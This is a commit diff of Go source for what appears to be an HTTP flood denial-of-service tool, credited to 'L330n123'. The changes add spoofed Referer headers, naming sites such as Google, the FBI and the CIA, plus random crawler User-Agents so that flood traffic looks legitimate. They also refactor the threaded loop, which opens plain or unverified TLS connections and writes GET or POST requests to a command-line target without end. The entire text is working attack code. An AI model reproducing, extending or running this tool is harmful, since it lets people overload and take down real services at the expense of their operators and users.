@@ -20,7 +20,6 @@ import (
20
20
)
21
21
22
22
var (
23
- useragent []string
24
23
abcd = "asdfghjklqwertyuiopzxcvbnmASDFGHJKLQWERTYUIOPZXCVBNM"
25
24
start = make (chan bool )
26
25
acceptall = []string {
55
54
"Googlebot-News" ,
56
55
"Googlebot-Video/1.0" ,
57
56
}
57
+ referers = []string {
58
+ "https://www.google.com/search?q=" ,
59
+ "https://check-host.net/" ,
60
+ "https://www.facebook.com/" ,
61
+ "https://www.youtube.com/" ,
62
+ "https://www.fbi.com/" ,
63
+ "https://www.bing.com/search?q=" ,
64
+ "https://r.search.yahoo.com/" ,
65
+ "https://www.cia.gov/index.html" ,
66
+ "https://vk.com/profile.php?auto=" ,
67
+ "https://www.usatoday.com/search/results?q=" ,
68
+ "https://help.baidu.com/searchResult?keywords=" ,
69
+ "https://steamcommunity.com/market/search?q=" ,
70
+ "https://www.ted.com/search?q=" ,
71
+ "https://play.google.com/store/search?q=" ,
72
+ }
58
73
)
59
74
60
75
func init () {
@@ -90,11 +105,6 @@ func getuseragent() string {
90
105
}
91
106
return spider [rand .Intn (len (spider ))]
92
107
}
93
- func generate_ua (threads int ) {
94
- for i := 0 ; i < threads ; i ++ {
95
- useragent = append (useragent , getuseragent ())
96
- }
97
- }
98
108
99
109
func contain (char string , x string ) int { //simple compare
100
110
times := 0
@@ -108,18 +118,17 @@ func contain(char string, x string) int { //simple compare
108
118
return ans
109
119
}
110
120
111
- func flood () {
112
- addr := os .Args [1 ]
113
- addr += ":"
114
- addr += os .Args [2 ]
121
+ func flood (ip , port , page , mode string ) {
122
+ addr := ip + ":" + port
115
123
header := ""
116
- if os . Args [ 5 ] == "get" {
124
+ if mode == "get" {
117
125
header += " HTTP/1.1\r \n Host: "
118
126
header += addr + "\r \n "
119
127
if os .Args [7 ] == "nil" {
120
128
header += "Connection: Keep-Alive\r \n Cache-Control: max-age=0\r \n "
121
- header += "User-Agent: " + useragent [ rand . Intn ( len ( useragent ))] + "\r \n "
129
+ header += "User-Agent: " + getuseragent () + "\r \n "
122
130
header += acceptall [rand .Intn (len (acceptall ))]
131
+ header += referers [rand .Intn (len (referers ))]
123
132
} else {
124
133
fi , err := os .Open (os .Args [7 ])
125
134
if err != nil {
@@ -136,7 +145,7 @@ func flood() {
136
145
header += string (a ) + "\r \n "
137
146
}
138
147
}
139
- } else if os . Args [ 5 ] == "post" {
148
+ } else if mode == "post" {
140
149
data := ""
141
150
if os .Args [7 ] != "nil" {
142
151
fi , err := os .Open (os .Args [7 ])
@@ -161,16 +170,16 @@ func flood() {
161
170
}
162
171
header := "POST " + os .Args [4 ] + " HTTP/1.1\r \n Host: " + addr + "\r \n "
163
172
header += "Connection: Keep-Alive\r \n Content-Type: x-www-form-urlencoded\r \n Content-Length: " + strconv .Itoa (len (data )) + "\r \n "
164
- header += "Accept-Encoding: gzip, deflate\r \n \n " + data
173
+ header += "Accept-Encoding: gzip, deflate\r \n \n " + data + " \r \n "
165
174
}
166
175
var s net.Conn
167
176
var err error
168
177
<- start //received signal
169
178
for {
170
- if os . Args [ 2 ] == "443" {
179
+ if port == "443" {
171
180
cfg := & tls.Config {
172
181
InsecureSkipVerify : true ,
173
- ServerName : os . Args [ 1 ] , //simple fix
182
+ ServerName : ip , //simple fix
174
183
}
175
184
s , err = tls .Dial ("tcp" , addr , cfg )
176
185
} else {
@@ -185,13 +194,11 @@ func flood() {
185
194
request += "GET " + os .Args [4 ] + page
186
195
request += strconv .Itoa (rand .Intn (2147483647 )) + string (string (abcd [rand .Intn (len (abcd ))])) + string (abcd [rand .Intn (len (abcd ))]) + string (abcd [rand .Intn (len (abcd ))]) + string (abcd [rand .Intn (len (abcd ))])
187
196
}
188
- request += header + "\r \n \r \n "
197
+ request += header + "\r \n "
189
198
s .Write ([]byte (request ))
190
- //time.Sleep(time.Millisecond * 200)//Sent delay can reduce i/o usage
191
199
}
192
200
s .Close ()
193
201
}
194
- //time.Sleep(time.Second * 1)
195
202
//fmt.Println("Threads@", threads, " Hitting Target -->", url)// For those who like share to skid.
196
203
}
197
204
}
@@ -203,7 +210,7 @@ func main() {
203
210
fmt .Println (" || || || || || || || || || || || || || || " )
204
211
fmt .Println (".|| ||. `|..' `|..' ||..|' .||. .||. `|..|' `|..|' `|..||. " )
205
212
fmt .Println (" || " )
206
- fmt .Println (" .|| Golang version 1.8 " )
213
+ fmt .Println (" .|| Golang version 1.9 " )
207
214
fmt .Println (" C0d3d By L330n123" )
208
215
fmt .Println ("==========================================================================" )
209
216
if len (os .Args ) != 8 {
@@ -225,12 +232,11 @@ func main() {
225
232
} else {
226
233
page = "&"
227
234
}
228
- generate_ua (threads )
229
235
input := bufio .NewReader (os .Stdin )
230
236
231
237
for i := 0 ; i < threads ; i ++ {
232
238
time .Sleep (time .Microsecond * 100 )
233
- go flood () // Start threads
239
+ go flood (os . Args [ 1 ], os . Args [ 2 ], os . Args [ 4 ], os . Args [ 5 ] ) // Start threads
234
240
fmt .Printf ("\r Threads [%.0f] are ready" , float64 (i + 1 ))
235
241
os .Stdout .Sync ()
236
242
//time.Sleep( time.Millisecond * 1)
0 commit comments